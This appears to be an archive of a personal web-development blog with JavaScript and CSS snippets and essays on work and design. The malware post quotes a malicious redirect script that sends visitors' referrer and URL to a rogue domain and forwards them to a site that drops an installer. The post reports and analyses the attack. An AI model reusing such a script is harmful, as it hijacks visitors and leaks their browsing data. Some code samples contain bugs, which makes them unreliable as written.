24.3.14

wish: a tiny promise

The JavaScript Promises feature arrives in browsers natively around 2014. (See also: current support for promises)

Example: Fetch location, then weather data

I. With callbacks, not Promises

getWeather(function(weather){ 
  console.log(weather) });

function getWeather(then){
  getPosition(function(position){
    get('//api.openweathermap.org/data/2.5/weather?' 
            + 'lat=' + (0|position.coords.latitude)
            + '&lon=' + (0|position.coords.longitude), then); }); }

function getPosition(then){ 
  return navigator.geolocation.getCurrentPosition(then); }

function get(url, then){
  with (new XMLHttpRequest)
    onload = function(xhr){
      then(JSON.parse(xhr.target.response)); },
    open('GET', url),
    send(); }

II. With Promises

getPosition()
  .then(getWeather)
  .then(log);
  

function getPosition(){
    return new Promise(function(then){
        navigator.geolocation.getCurrentPosition(then); }); }

function getWeather(position){
    return new Promise(function(then){
        get('//api.openweathermap.org/data/2.5/weather?' 
            + 'lat=' + (0|position.coords.latitude)
            + '&lon=' + (0|position.coords.longitude)).then(then); }); }
            
function get(url, then){
  return new Promise(function(then){
    with (new XMLHttpRequest)
      onload = function(xhr){
        then(JSON.parse(xhr.target.response)); },
      open('GET', url),
      send(); }); };


function log(){
    console.log(arguments[0]) }

This does not look easier

Good one. It doesn't.
What matters is that the user flow is easier to read. While the implementation of the calls may be more complicated to understand and debug, these parts usually (especially with tests) do not see much change.
The difference may be subtle, but very important: Functional separation greatly improves maintainability. Once the functionality is available, it can be very easily reused by other flows without fuss. Conversely, the first example makes the code impossible or very difficult to reuse.

What do you think?

26.9.12

Asynchronous library loading with jQuery.Deferred

A common pattern for asynchronous library loading, without the use of script loaders (requirejs, etc).
var your_library = 'can be FB (facebook) or google or whatever';

jQuery.when (window[your_library] || jQuery.Deferred (function(loader){
  load(your_library);
  loader.resolve();
}))
.done (do_stuff);

function load (){
  /* append the script to the page and declare the callback */
}

function do_stuff(){
/* continue, assuming that window[your_library] is loaded */
}

Example Using Facebook API

jQuery.when (window['FB'] || jQuery.Deferred (function(loader){

  // 1. load the Facebook API
  jQuery('<div id=fb-root></div>\
    <script src="//connect.facebook.net/en_US/all.js" async></script>')
    .appendTo('body');

  // 2. the Facebook API has a default callback function name
  window.fbAsyncInit = function(){

    // ensure this is run only once
    window.fbAsyncInit = Function;

    FB.init({/* your init parameters here */});

    // 3a. trigger the continuation of the script
    loader.resolve();
  };
}))
// 3b. continue
.done(function(){
  FB.getLoginStatus(function(response){
    /* etc. */
  });
});
The pattern is simple. If the library in question has already loaded, it simply continues straight to done, otherwise it will call the deferred loader.

Example Using Google Maps API

jQuery.when(window['google'] || jQuery.Deferred(function(loader){    
  // a unique callback function name because why not
  var callback = '_' + (+new Date).toString(36),
      // use your key here if you need it
      src = '//maps.googleapis.com/maps/api/js?sensor=true&callback='
          + callback;

  // 1. load google maps
  $('<script>', { src: src }).appendTo('body');
  
  window[callback] = function(){ loader.resolve() };
}))
.done(function(){
  // something like this
  var defaultLocation = new google.maps.LatLng(33.990,-118.459);
  /* etc */
});

30.6.12

timeout and interval

I. CSS3 animation shorthand (w3/spec)

@keyframes once { /* something */ }
@keyframes repeat { /* something */ }

#thing { animation:once 3s }
.things { animation:repeat 3s 300ms infinite }

II. js

setTimeout(function once(){ /* something */ }, 3e3);
// no direct way to specify an initial delay
setInterval(function repeat(){ /* something */ }, 3e3);

III. Hypothetical jQuery plugin (jQuery/docs)

$('#thing').timeout(function once(){ /* something */ }, 3e3);
$('.things').interval(function repeat(){ /* something */ }, 3e3, 300);

10.2.12

How to work with me: a follow-up

Looking at traffic sources for this blog, I noticed that one of them isn't spam —shocking! I skimmed through it and the comments, but it was particularly the title, Servant Mentality, what caught my attention.

The comments there and in general the ones I saw here and on Hacker News were very particularly polarized: on one end, those who take offense. On the other, those that don't.

The software industry, and the psychology of programming languages fundamentally changes the psique of humans.

I'm not saying it is the only thing that does it, nor that it does it to everyone, but there is strong correlation.

When programming, optimization becomes part of everyday vocabulary: from actual algorithm optimization and latency analysis to timeline estimates and defect triage. One thing learned is, there is no silver bullet, only incremental improvements applied to the measured bottlenecks.

There are those who take passion in what they do and take the lessons to "hack" their lives too. Optimizing life can become a very entertaining hobby worth talking about with those who share the passion for it.

Optimizing doesn't come without downsides.

Eventually, some people realize that sugar-coating things are a sign of uncertainty, as there is no need to beat around the bush when respect is not in jeopardy. You say what you want and how, expect an honest response or rebuttal and iterate until a better state is reached.

Turns out that the extreme logical mind can often be at odds with an emotional mind with regards to criticism: the logical —optimizer— mind can take joy in pointing out defects and addressing them —self included, objectively— while the emotional mind can be obstructed and manipulated by an immature ego which by fear defends actions as if they were immutable extensions of the self; defending work as if they were actual appendages at risk.

It is immature and ineffective to argue otherwise, but logic also dictates that friction is ineffective which is where “pick your battles” comes from.

Projections

When reading the list, the vast majority of the readers are picturing an imaginary author. When I read it, I picture a real author because I actually know him. So it's natural for the former to project their insecurities and frustrations and reveal a lot about themselves, unknowingly.

To those with reasonable arguments —in either direction— thank you.

To the whiners, thank you. Your unreasonable arguments are entertaining. Haters gun’ hate.

7.2.12

What our software says about us

  1. Attention to detail: if we care and how much.
  2. Comprehension of the subject and problem.
  3. Eloquence: comprehension and mastery of the language.
  4. Use of adequate tools.
  5. Are the ideas compatible with the language constructs in use?

Indeed, someone looking at your code can tell if you want to quit, if you're an idiot, if you like being an idiot, if you're awkward and if you should be doing something else.

But in all seriousness, it really tells a lot.

For those actually writing and designing the languages themselves, respek.

I can only strive for it.

Quick parse_url

Let's say you have an insane URL like a Google Analytics beacon:
var url = 'http://www.google-analytics.com/__utm.gif?utmwv=5.2.4&utms=23&utmn=353317006&utmhn=www.something.something.com&utmt=event&utme=5(monetization_partner*buy_amazon*%2Fseries%2FThe_Millennium_Trilogy_Stieg_Larsson)(1)8(user_type*logged_in)9(119*true)11(1*2)&utmcs=UTF-8&utmsr=2560x1440&utmvp=1103x767&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.3%20r183&utmdt=The%20Millennium%20Trilogy%20-%20Small%20Demons&utmhid=1278954452&utmr=0&utmp=%2Fseries%2FThe_Millennium_Trilogy_Stieg_Larsson&utmac=UA-xxxxxxxx-x&utmcc=__utma%3D76481800.571237505.1328141482.1328580205.1328639116.18%3B%2B__utmz%3D76481900.1328141480.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmu=6QAAAAAAAAAAAAAQ~';
Now let's say you want to figure it out:
url
  .split(/[?&]/)
  .forEach(function(param){
    console.log( decodeURICompontent(param).replace('=', ': ') ) 
  });
It will look like this:
http://www.google-analytics.com/__utm.gif
utmwv: 5.2.4
utms: 23
utmn: 353317006
utmhn: www.smalldemons.com
utmt: event
utme: 5(monetization_partner*buy_amazon*/series/The_Millennium_Trilogy_Stieg_Larsson)(1)8(user_type*logged_in)9(119*true)11(1*2)
utmcs: UTF-8
utmsr: 2560x1440
utmvp: 1103x767
utmsc: 24-bit
utmul: en-us
utmje: 1
utmfl: 10.3 r183
utmdt: The Millennium Trilogy - Small Demons
utmhid: 1278954452
utmr: 0
utmp: /series/The_Millennium_Trilogy_Stieg_Larsson
utmac: UA-xxxxxxxx-x
utmcc: __utma=76481800.571237505.1328141482.1328580205.1328639116.18;+__utmz=76481900.1328141480.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
utmu: 6QAAAAAAAAAAAAAQ~
So there's that. Enjoy.

Somewhat-related rant

I figure you may want to know what the parameters mean, so here you go. The GIF Request Parameters for Google Analytics (mostly) say:
Tracking code version: 5.2.4
Session counter (not on GA page): 23
Unique GIF id: 353317006
Host Name: www.smalldemons.com
Type of request: event
Extensible vars: 5(<category>*<action>*<label>)(1)8(user_type*logged_in)9(119*true)11(1*2)
Encoding (not on GA page): UTF-8
Screen resolution: 2560x1440
Viewport (not on GA page): 1103x767
Screen color depth: 24-bit
User language: en-us
Java Enabled (not on GA page): 1
Flash version: 10.3 r183
Page title: The Millennium Trilogy - Small Demons
Analytics-AdSense id: 1278954452
Referral URL: 0
Page request: /series/The_Millennium_Trilogy_Stieg_Larsson
Account: UA-xxxxxxxx-x
Cookie: __utma=76481800.571237505.1328141482.1328580205.1328639116.18;+__utmz=76481900.1328141480.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
Crazy sum*: 6QAAAAAAAAAAAAAQ~

*Some fool with a lot more time than me figured it's a bitmap (not an image!) of functions blah blah blah.

Also, if you wonder if this data could be used by third parties to track you, it appears possibly maybe.

I've changed a couple of numbers in this data, just so I don't get a hater commenting on my stupidity. But hey, haters gun' hate anyway.

CSS debug rule

* {
    background:transparent !important;
    box-shadow: -0.6ex -1.6ex .6ex rgba(161, 8, 0, 0.33);
    font-size: 1.01em;
    left: .3em;
    outline: 1px solid rgba(161, 8, 0, 0.33);
    position: relative;
    top: .6em;
    transition:all 1s
}

4.2.12

Tiny carousel

Thinking always beats compression.
setInterval(function(){
  $('#carousel img:last-child, #testimonials blockquote:last-child')
    .fadeOut(1e3, function(){
      $(this).prependTo(this.parentNode).show()
    });
}, 5e3);
Take a look at a simple animation algorithm.

16.11.11

Closure Stylesheets are good but not great.

Closure Stylesheets are a good effort from Google. Unfortunately, they released after Less, SCSS and SASS (see discusson on HN). In defense of that argument, I would say that the tool has been in use for a while, it was only the public release (and the process that it entails) what took longer than these other solutions.

But that's not actually what I'm rabbling about today. I won't get into the details of what syntax or implementation is better either.

They miss the point

Development tools are very helpful, but they also stint the ability to learn how to use a language more efficiently. Of course, what matters is to get things done, but in the long run it will make a big difference to those who put the work (or were inspired) to do it better.

For example: using variables in CSS makes sense when you think about re-using colors here and there. Could this be better addressed by using a separate stylesheet that deals with colors (and non-layout modifying rulesets)?

The point is that the inconsistency of content format makes a developer (or is it the other way around?) write a ton of rules to undo all the badly-inherited ones. The complexity of the current codebase makes it near impossible to even figure out what is reusable and how to use it —and frankly, most often things are not designed with reusability in mind: shocking, right?

So the problem about reducing code size is not about how big your code is. As we move into the future, the target market will increasingly be represented by higher bandwidth consumers, since those are the ones with the money to spend. —I understand there is a long tail and it is irrelevant here. As devices download faster and richer media is served, your CSS, HTML and JS will be puny compared to the number of images and HD videos that you're serving. Ever-increasing compression, bandwidth and client-side storage and caching will increase this trend, no matter at what rate. Given enough time, code size will be irrelevant.

What does matter is how maintainable your code is. Code size does become increasingly important but because there will be exponentially more time invested in fixing bugs and building new features as a direct result of the lines of code and people involved.

Another example: What about calculated dimensions? Isn't it a pain to keep track of what the paddings and width add up to?

You are missing the point

The future is bringing a diversity of devices: apps on phones, tablets, laptops, desktops and TVs. The more anyone is developing a pixel-perfect layout, the more it will look stupid on all other devices but yours. Adaptive layout requires thinking about how the content will flow and accommodate the available screen size and pixel density. Pixel-perfect layouts are perfect for making your work look like that spiffy mock, but it won't look so great on most devices by the end of next year, if not sooner.

This jewel from 2006, Switchy McLayout on ALA, explained it well a long, long, long, internet time ago (seriously, look at an internet meme timeline. That was the same year as ICHC!). But the point is not to talk about how great adaptive layout is.

The point

Tools that make you lazy are bad for you, but not as bad if you truly suck. Take the time to love and learn your trade or step aside.

Still here?

I'm glad. Let's build a better web. Check out these resources

22.8.11

Write your own work contract

If your work is hot, you get to set the price.

Does this happen in practice?

To pull this off, the contract would have to consider the future employer's needs. For example, my contract could say that while I am employed for one company, I can't be also employed at another one; especially if it is a competitor but also if it results in a negative impact in my performance: working under expectations. Make sure expectations are set beforehand. This applies to marriage as well

I would choose the freedom to work on my own company, as I want to further my own career and life beyond what is reasonable to work for someone else. I do want to be doing something in 5 to 10 years and nobody is going to complain much if I leave a company then. It is then in my best interest to add that clause.

However, if working on this separate enterprise is competing in resources or opportunity then it's out. This can be generalized as a simple antitrust clause: Work on whatever, but don't screw us

In law, things always get muddy

For example, if I have company property (computer) and I do some other work on it, some contracts generically stipulate that all intellectual property coming from that device is property of the company. I would be pissed about this. What if I tweet a million-dollar idea? Should I use gmail from my own phone? That would be ridiculous.

However, if I come up with something that negatively affects the market aspirations of the company, it is reasonable to assume that I am at fault. Again, if I can contribute to my employer with something I do on my own, it makes sense to share, especially if it's their equipment.

Contracts and the law in general have never been very deserving of my attention

I prefer using common sense and dealing only with people who have a healthy —or just similar— sense of trust. After all, the heart of the law is to protect from abuse, not to use it to abuse others. Unfortunately, the solution has been to write more law mostly to the benefit of those who invest their life trying to understand a little part of it.

When we stop communicating as human citizens and let behavior be ruled by the shroud of selfish intent, artificial means to protect our society emerge. Stupid laws. Contracts that nobody can read. Enforcers who get high on the power trips and are neither protecting nor serving. That stuff has to stop.

The law is silly because we shouldn't need it

If you think I'm saying it shouldn't be followed, then the law was made for people like you who miss the point.

Harsh but necessary.

I would love to hear ideas for simple clauses

Something like:Work on whatever, don't screw us and Work whenever, just get things done in time. From this, it is important to make sure that expectations about output are clear from the beginning and that all deadlines and work load is agreed to as reasonable beforehand.

I know it is not legally realistic, but I know that there are many startups that rely more on the trust of their employees than a perfectly drafted contract.

29.7.11

How to work with me

In March 2005, a photocopy was handed to me in preparation for work with one of the top wigs. It enumerated the rules necessary to avoid conflict and ensure efficient communication between me and someone who doesn't have time for bullshit.

Recently, I discovered said photocopy hiding within one of my coding books and showed it to my peers. They loved it. They loved it so much, that they wanted to use it for their own minions.

It is my ethical obligation to share with the world at large, provided the original author doesn't mind (unnamed for privacy) and provided you understand that this is half-jest and half-serious but definitely with a lot of respect and admiration for the author. After all, it takes balls to say what you think despite how weaklings might feel about it.

Here goes:


  1. I prefer to work fast, minimize bullshit, get to the point.
  2. You will sometimes have bad news for me. I want it immediately. I can usually show you how to fix it. And I never blame the messenger.
  3. Bring pen and paper to every meeting with me. Pay attention to what I say; I'll try to speak with care. If I frequently must repeat instructions, or remind you of something I've already told you, you will not work with me again.
  4. If I've scheduled a weekly meeting with you, don't assume that this meeting is the only time to raise issues with me; Interrupt me for time critical issues.
  5. If you have a meeting with me at an assigned time, and I am in another meeting with my door closed, interrupt me. I stack meetings, and each meeting leads into the next.
  6. I like "micro-meetings". Get in quick, bring only the necessary parties to the table, make a decision, get out. Five minutes or less. Make these effective by knowing what decision needs to be made before you start, and presenting the decision criteria ahead of time to all participants.
  7. Stand during micro-meetings.
  8. I don't like email, particularly for discussing complex topics. If a decision needs to be made, do a micro-meeting. If a problem needs to be discussed, ask the person with the most depth to prepare something, an agenda, have a whiteboard, and work through it quickly.
  9. One exception to the above: I like "micro-updates": Quick emails confirming time critical commitments and mutual understanding. These are especially useful after we hold a meeting and I give you a set of directives: I always like to hear our agreed-upon commitments echoed back to me. I may not respond, but I will read it. Keep these emails short: Spare me the greetings, thank yous, regards.
  10. Be consistent in your communication. Use words consistently. Use email headers consistently. Strive to make your work immediately comprehensible.
  11. If you disagree with me, voice your differences. I welcome and invite dissent. If this makes you uncomfortable, feel free to prepare your thoughts after the meeting and then later return to make your case.
  12. Ego-driven debates annoy me. Check your ego at the door: I'm only interested in reaching the best, most elegant solution —I don't care if it's your idea or mine.
  13. Don't be afraid to ask questions if you're not clear. I have more patience for explaining and clarifying my position before you start than I do patience for fixing a wasteful, incorrect approach after the fact.
  14. Don't tell me something is in the process of being done without telling me when it will be done. I'm more interested in the time commitment than the fact that an effort exists.
  15. Always give me options, informed by an economic analysis where possible (if there are dollars involved, an analysis is mandatory), and then make your recommendation. Don't tell me there's a problem without offering a solution. Don't offer me multiple solutions without giving me your best and final recommendation.
  16. If you must prepare reports for me, review spreadsheets I've created. Copy the style and format.
  17. Don't send me long documents. I like precision and concision. Say it on one page (or less).


Update

I've fixed a typo, which was pretty hilarious. "Don't sent me long documents. I like precision...". Thank you, Hacker News for picking this up and for your comments.

If you'd like to read more, follow me @darkgoyle

7.5.11

Malware — a report from the trenches.


Some people wonder if malware is a thing of the past. After all, if you know what a blog is, chances are you also know how to not get phished nor p0wned. You probably also think that because you are white-hat (not applicable to socially-retarded individuals), that the real threat is gone and a thing for kids hanging out on meme forums.

Let me explain what just happened as I was surfing:

I was image-surfing on Google, and I came across this image of what appears to be a visual test for an attractiveness study: Visual test for an attractiveness study showing what one of the screens must have looked like. There is certain irony that most likely, only those who use a non-image approach to web surfing actually know I wrote this. Also those who like to see what's behind the curtain, so to speak. I'd say under the skirt.

Upon hovering to click, I didn't bother making sense of what Google had picked in its index:
Google's wacky indexing

The image name makes sense (as opposed to these automatically-named uploads). The descriptive text and url, not so much. TL;DR

So I clicked, which sent me to a Google image server interstitial with a url that only Chuck Norris could read:

http://www.google.com/imgres?imgurl=http://cache.gawkerassets.com/assets/images/7/2008/05/weirdscience.png&imgrefurl=http://sailmaldives.com/sailmaldives/symmetrical-face%26page%3D4&usg=__5pt7-fW8PxDtDBln4IZYdLhL2pE=&h=518&w=657&sz=126&hl=en&start=47&sig2=eQtFxiANJ285aURPa9c4xA&zoom=1&tbnid=BRnsBeaZ-ET2wM:&tbnh=140&tbnw=178&ei=UATGTeLqE4X2swOygY2aAQ&prev=/search%3Fq%3Dsymmetrical%2Bface%2Btest%26hl%3Den%26safe%3Doff%26sa%3DX%26biw%3D937%26bih%3D919%26tbm%3Disch0%2C1915&itbs=1&iact=hc&vpx=554&vpy=370&dur=3354&hovh=199&hovw=253&tx=95&ty=103&page=3&ndsp=25&ved=1t:429,r:23,s:47&biw=937&bih=919


(By the way, it's interesting to see what data Google seems to be acquiring. Perhaps in another post)

The image was hosted on cache.gawkerassets.com which could or not directly correlate it to the attack that Gawker media underwent (allegedly — conspiracy alert).

Google then loads the page hosting the image in the background. This page, hosted on sailmaldives.com has only script as the source:

var url = "http://dczhxynm.ce.ms/in.cgi?2&seoref="+
encodeURIComponent(document.referrer)+
"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+
encodeURIComponent(document.URL)+
"&default_keyword=default";

if (window!=top) {top.location.href = url;}
else document.location= url;


So off you go to a domain that looks totally legit. But not for long. A 302 redirect directly to an IP address that has no DNS registry: 69.50.202.201 and a proper tracking code made just for me: GET /79821af005378d43c661c9f19b618d143804cc4c0bece84e HTTP/1.1. How kind. Now they know everything that Google wanted to know about me.

What follows is a very well made interface:

That's an image. You can click on it, you wuss.

The real site automatically sends you a zip file. As you can see, it was automatically downloaded by chrome (I suppose there are setting somewhere to ask first or not. Whatever.). The archive contains an OSX installer, which... well, I'm not that stupid. You are welcome to reverse engineer it if you want. I'm curious.

So I did what any responsible netizen would do: post it on reddit post it on twitter post it on facebook report it to Google:

Type google malware on a search box, click first result. I'm sure you know how to do this.

The interesting thing here is, the site is broken on my current version of Chrome. What. The. Hell.


Why??

Source code for an invisible container.

Whatever. Remove "position:relative", fill form, submit details.

Google breaks.


If you work for Google, email the malware list and get someone like that annoying Marc Merlin to use his persistence to work and get this clowncar operation fixed. It's even made the news:


How bad is this? Well, Anonymous gained access to my email address and my Playstation Network password with their attack on April 17 or so. This week I received an email from my bank (it was from my bank indeed) asking me to fill a customer survey in response to a phone call I allegedly made. I hadn't. I also got an automated email from PayPal (also legitimate) informing me of a returned email to their service@paypal account. I hadn't.

You can be very skeptical about anything you want, but I will pay attention to what happens next.

My passwords have always been different, and that IP address belongs to an ISP in Arizona.

4.2.11

Simple animation algorithm

Let's start with a simple case, fading in an element turning up the opacity on it. It's a good idea to start with the interface (how we want the call to look, ideally). Remember simple is always best:

fadeIn(element);

Then the actual function definition:

function fadeIn(element){

      // how smooth the animation runs
  var increment = 50,
      // how long it takes
      duration = 500,
      // this is important: it normalizes the steps
      scale = duration/increment;

  // Define the steps ahead of time
  for (var i = scale; 0 < i; i--) {

    // we use a function to retain the value of i
    setTimeout((function(i){

      // the function actually executed on timeout
      return function(){
        // Standard browsers
        element.style.opacity = i/scale;
        // Substandard browsers
        element.style.filter = 'alpha(opacity='+(scale*i)+')';
      };

    })(i), increment*i);

  }
}

Above, the scale is 10. The loop will then distribute 10 calls evenly, starting with the last one (500ms) and ending with the first, 10ms in the future.

We then use the scale to transform into the opacity values to be used: 0, .1, .2... 1 for standard browsers and 0-100 for browsers that were developed with little concern for cooperation for the benefit of user experience and the programmers having to implement it.

But this wouldn't be fun without making it a little more reusable, so let's clean it up. A general pattern to apply to functions is to keep track of what is modified —the element in this case— and what can change —increment, duration and property being mutated.

function animate(fn, config){
  var increment = (config||{}).increment || 50,
      duration = (config||{}).duration || 500,
      scale = duration/increment;
  
  for (var i = scale; 0 < i; i--) {
    setTimeout((function(i){
      return function(){ fn(i, scale); };
    })(i), increment*i);
  }
}

Since there are at least two operations to be executed on every step (because of different browser handling), I opted for explicitly passing the "verb" or lambda or visitor function to the animate function. This is how it could be used:

var element = document.getElementById('my_element');
animate(function(i, scale){
  element.style.opacity = i/scale;
  element.style.filter = 'alpha(opacity='+(scale*i)+')';
});
A little trick I used above: since config may not be defined, I make sure there is always a default object or value to work with, so this:
var increment = 50;
if (config && config.increment) {
  increment = config.increment;
}
...turns into this:
var increment = (config || {}).increment || 50;

There are a couple of ways to deal with config objects and defaults, and it depends on how many variables you are trying to set or override. It may make sense for larger configuration objects to extend a default object with the configuration values, for example.

Other modifications would involve using an "easing" function that determines how often the callback is fired and with what increment values. The one above is the linear, the simplest.

21.11.10

SVN, Git.

Pull requests on Git are like asking the build master (or QA, or your manager) to include your feature on the next release. That means, make sure there are no merges, make sure your code does not break any of the automated unit tests, and make sure that your code is properly tested.

Well, that would be in the ideal world. If you want to do it differently, remember that you choose your dose of pain.

24.9.10

Fibonacci

Calculating the n-th Fibonacci in different ways:

// Recursive
function fib(n){
  if (n < 2) return n;
  return fib(n-1) + fib(n-2);
}

// Memoized
function memFib(n){
  return memFib[n] || (memFib[n] = fib(n));
}

// Mathematical
function mathFib(n){
  return Math.floor(Math.pow(Phi, n)/Math.sqrt(5) +.5);
}
How do they compare in speed?
[fib, memFib, mathFib].map(function(fn){
  var t0 = +new Date
  fn(30);
  return +new Date - t0
});
Don't get your panties in a bunch just yet. This is an unfair fight:
  1. fib is simply horrible, performance-wise. It's the easiest to understand and best for demonstrating recursive functions, but that's it.

  2. memFib is a great example for memoization, as it executes almost linearly, except for those numbers which have not been used yet. If you try running memFib with n=40, you will start feeling the pain, but only the first time.

    An important point to make here about memoization is, if your function will be called many times and always returns the same result given the same arguments, memoizing is your friend.

We will approach browser recursion limits quickly, so I will add two more contenders:
// Y-combinator
var Yfib = Y(function(fn){ return (function(n){
  if (n < 2) return n;
  return fn(n-1) + fn(n-2);
}); });

// Memoized Y-combinator
var YmemFib = Ymem(function(fn){ return (function(n){
  if (n < 2) return n;
  return fn(n-1) + fn(n-2);
}); });
This is a whole different game, with n=1000:
[mathFib, YmemFib].map(function(fn){
  var t0 = +new Date
  fn(1000);
  return +new Date - t0
});
Firefox 3.6.10 cries somewhere between n=1000 and n=2000 about too much recursion, and the difference is less than 10 milliseconds in favor of the mathematical formula.
Chrome 6.0.472.63 can handle at least n=6000 before exhausting its stack and has a difference of about 2 milliseconds. BOOM.

The Much Anticipated Morale Of The Leonardo Of Pisa Thingamajigs

  1. Go for the mathematical solution first. If you are not smart enough, ask Google. If Google is not smart enough, ask Tyler. Seriously.

  2. Memoize. Remember this. Get it?

  3. Use a Y-combinator. You don't have to understand how to use it, and good luck trying. Seriously. Here you go:
    function Y(fn) {
      return function(x) {
        return (fn(function(n){
         return (Y(fn))(n);
        }))(x);
      };
    }
    
    To help you understand, try: matt.might.net, fixed point combinator on Wikipedia, Electronics and Computing Systems at the University of Cincinnati, the book To Mock a Mockingbird, and/or some entheogens.

The short answer: wrap this equivalent of bacon around everything.
/**
 * Memoizing Y-combinator (aka triptonomikon).
 */
function Ymem(fn) {
  var mem = this;
  return function(x) {
    return mem[x] || (mem[x] = (fn(function(n){
     return (Ymem.call(mem, fn))(n);
    }))(x));
  };
}

This should keep you busy until the next post.

18.8.10

CSS layout helper rule

You may have used borders around elements to help during layout design:
 * { border:1px solid red }

But when you are being very stingy with your pixels, those extra border pixels can get in the way. I present to you the

Sooper Cosmogonic Layout Helper Rule that Rulez

 * { background: rgba(100, 100, 100, .5) }

The RGBA rule allows you to specify a background color in rgb (0-255) plus an alpha (transparency) value, which will aggregate for nested objects.

Put it at the top of your css, optionally reduce the scope to, say article * {...}, and send me good karma if it works.

13.8.10

Filter Overload Pattern

Assume you are working with the toggle function in jQuery and that you want to do something different with it. This would require writing a different plugin and naming it differently or changing the default toggle function.

In the simplest terms, the pattern starts with a function:
function stuff(s){
    if (typeof s == 'string')
      doStuffWithAString(s)
    else throwOrIgnore();
  }

Maybe you can't change the source code, or maybe you obsessively want to ultra-modularize your code. Either way, assume you want to use the same name to keep your source code as semantic as possible. Here is how I would do it:

// redefine function
  var _old_stuff = stuff;
  stuff = function(b){
    // check for special case which should be overloaded here
    if (typeof b == 'boolean')
      // new behavior
      doStuffWithABoolean(b);
    // old behavior: call previously defined function.
    else _old_stuff(b);
  };

If you happen to mistakenly call the block twice, you will throw the function into a self-referential (endless) loop.

With this pattern, you can build functions that specialize in delegating functions by argument patterns, akin to classical Java method overloading. If you will be handling many patterns, it may eventually be interesting to use only one index delegator instead of a cascading pattern.

To illustrate how amusing it is to write overcomplicated code, consider the following

Mega Super Ultimate Listener Overload Pattern of Awesomeness


The interface is the only public function:
function transmogrify(){
  // using this function as a dictionary or map:
  for (var filter in transmogrify.filters){
    // filter functions return the name of the method to call
    var key = transmogrify.filters[filter].apply(this, arguments);
    if (key) 
      transmogrify.methods[key].apply(this, arguments);
  }
}

This is the extension mechanism. The filter can check argument arity, type, validity, etc.
transmogrify.filters.zap = function(str, num){
  if (typeof str == 'string' && typeof num == 'num')
    return 'zip';
};
transmogrify.methods.zip = function(){
  // there be beautiful code herein
};

I know you want a function that does these two things in one go; a meta-meta-meta function. Maybe later.

10.8.10

Adaptive Layout Algorithm

The difference between human hemispheres is in how they process information. We are told that one is "linear" and the other is "parallel", or that one uses images and the other uses words, etc. Stay with me while I attempt to explain how attention span is divided between them and how to design a hemisphere-balanced layout.

Fundamentally, the difference is in the timing. If one is linear and another parallel, how many linear units (bitwidth) can be processed at a time? Depends on the base being used. As of stardate sun-2010AD, I, along with all humans I know of, communicate with our computers using binary time conversion. That means our computing languages and compilers are calculated with only 1/0 (binary) to time increments (linear-infinite). Comparatively, a human mind is the plane between two values: two hemispheres.

Back to areas of attention: text attracts one hemisphere, images attract the other. The brain needs to quickly identify how to process the "splat", then make a decision on what to pay attention to: the image of the pretty lady or the skank eloquent paragraph beside it?

More thinking: how big is the font? can I recognize any body parts relevant to my interests? FACES is what people look at first, subconsciously. There's studies with babies as the test subjects. Go read it. Anyway, more thinking, more fatigue. The less interrupted the flow is, the more efficient, the more rewarding. Interrupt is entropy, losses are negative. Got it?

So here is Will, the conscious, constantly waking up the subconscious. Let's call her Akasha. Note projection of opposite sexes and the allusion of memory -- a modern narcissus and echo.

An efficient algorithm will take into consideration this balance: good font size, balanced image to text ratio. What the right balance is, is the subject for a subsequent post. Hint: it has to do with numbers.

Random content generator


var i = 12;
while(i--) links.push({
title: 'This is a title',
article_text:
(new Array((100*Math.random())|0 + 1))
.join('Lots of dolorem in my ipsum. '),
image:
'http://9gag.com/photo/'+
((32000*Math.random())|0) +
'_540.jpg'
});


Boom.

7.8.10

Relative font sizes



The discussion over whether pixels (px) or ems (em) are best as a way to measure content when designing web pages is often ended with the argument that all modern browsers can scale content defined in pixels, which is not untrue.

What falls short from this argument is that it puts the burden on the user to make the conscious decision to change the font size. The mental process could go like this:

I'm having trouble reading this. I'm squinting. The text is too small. I'll press... what is it? oh, ctrl,+. One, two, three... no, one less so ctrl,-. There.

The triviality of the example is balanced by the importance of avoiding disruption when it comes to user interaction. An action that we require from a user (in this case, attention to what we write) is impoverished by the division of said attention between the task that we want performed and adjusting the viewport.

The whole point of affordance and usability is precisely to take the burden of thinking from the user, so it becomes an enjoyable activity. Would I like my readers to enjoy my blog? yes. Would I like my buyers to enjoy purchasing on my website? yes. Would you?

An additional element is missing from pixels: There is research regarding the ideal width for a line of text (which I defer to you to investigate and debate). When using pixels, the rhythm and proportion of your page is much more difficult to preserve, since now it is a matter of font size and line width. If instead the layout is all dependent on font size, a person designing and coding a website can have a lot more control over the aesthetics without additional cognitive burden.

Author tweaks site css...

*ahem*. Got it?